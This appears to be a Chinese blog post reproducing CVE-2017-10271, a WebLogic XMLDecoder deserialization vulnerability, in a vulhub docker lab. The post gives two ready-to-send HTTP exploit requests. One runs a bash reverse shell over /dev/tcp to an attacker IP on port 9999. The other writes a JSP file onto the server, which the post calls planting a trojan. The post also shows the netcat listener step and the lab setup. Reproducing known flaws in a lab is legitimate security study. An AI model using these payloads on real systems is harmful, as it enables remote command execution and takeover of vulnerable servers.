zoukankan      html  css  js  c++  java
  • CVE-2017-10271 Weblogic XMLDecoder反序列化漏洞复现

    Weblogic漏洞 CVE-2017-10271复现

    漏洞描述:

    Weblogic 的 WLS Security 组 件 对 外 提 供 webservice 服 务 , 其 中 使 用 了XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

    影响范围:

    Oracle WebLogic Server 10.3.6.0.0 版本

    Oracle WebLogic Server 12.1.3.0.0 版本

    Oracle WebLogic Server 12.2.1.1.0 版本

    漏洞POC:

    getshell POC:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 靶机ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 637
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/攻击机ip/9999 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    

    写入木马POC:

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 靶机ip:7001
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: text/xml
    Content-Length: 639
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
        <object class="java.io.PrintWriter"> 
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
        <void method="println"><string>
        <![CDATA[
    <% out.print("test"); %>
        ]]>
        </string>
        </void>
        <void method="close"/>
        </object></java></java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    

    参考文章:

    https://www.exploit-db.com/exploits/43458/

    https://paper.seebug.org/487/

    https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic WLS-WebServices组件反序列化漏洞分析.md

    http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

    环境搭建:

    1、打开靶机kali-linux,找到vulhub环境下的CVE-2017-10271漏洞目录,vulhub安装教程:https://www.cnblogs.com/Iamyoyodan/p/13323445.html ,打开靶场环境:

    service docker start
    

    2、接着启动docker编译:

    docker-compose up -d
    

    3、查看容器状态:

    docker ps
    

    4、查看端口是否映射成功,下面的页面说明搭建成功。

    复现过程:

    访问该路径下的/wls-wsat/CoordinatorPortType11,存在下图则说明可能存在漏洞。

    getshell:

    1、靶机环境搭建好后,使用攻击机win10开启监听9999端口:

    nc -l -p 9999
    

    2、使用bp发送getshell POC:

    3、成功反弹shell获得root权限:

    写入木马getshell:

    1、发送写入木马POC:

    2、访问shell,成功!

    http://192.168.43.53:7001/bea_wls_internal/test.jsp
    

  • 相关阅读:
    layui框架如何在停止服务用户操作任何步骤自动跳转登录页
    h5移动端和ios以及安卓客户端的接口联调
    sublime 主要使用方法
    内外边距、浮动、布局相关
    js介绍
    css的三个特性 背景透明设置
    选择器 导航制作相关
    表单综合
    自定义列表dl
    相对路径和绝对路径
  • 原文地址:https://www.cnblogs.com/Iamyoyodan/p/12984312.html
Copyright © 2011-2022 走看看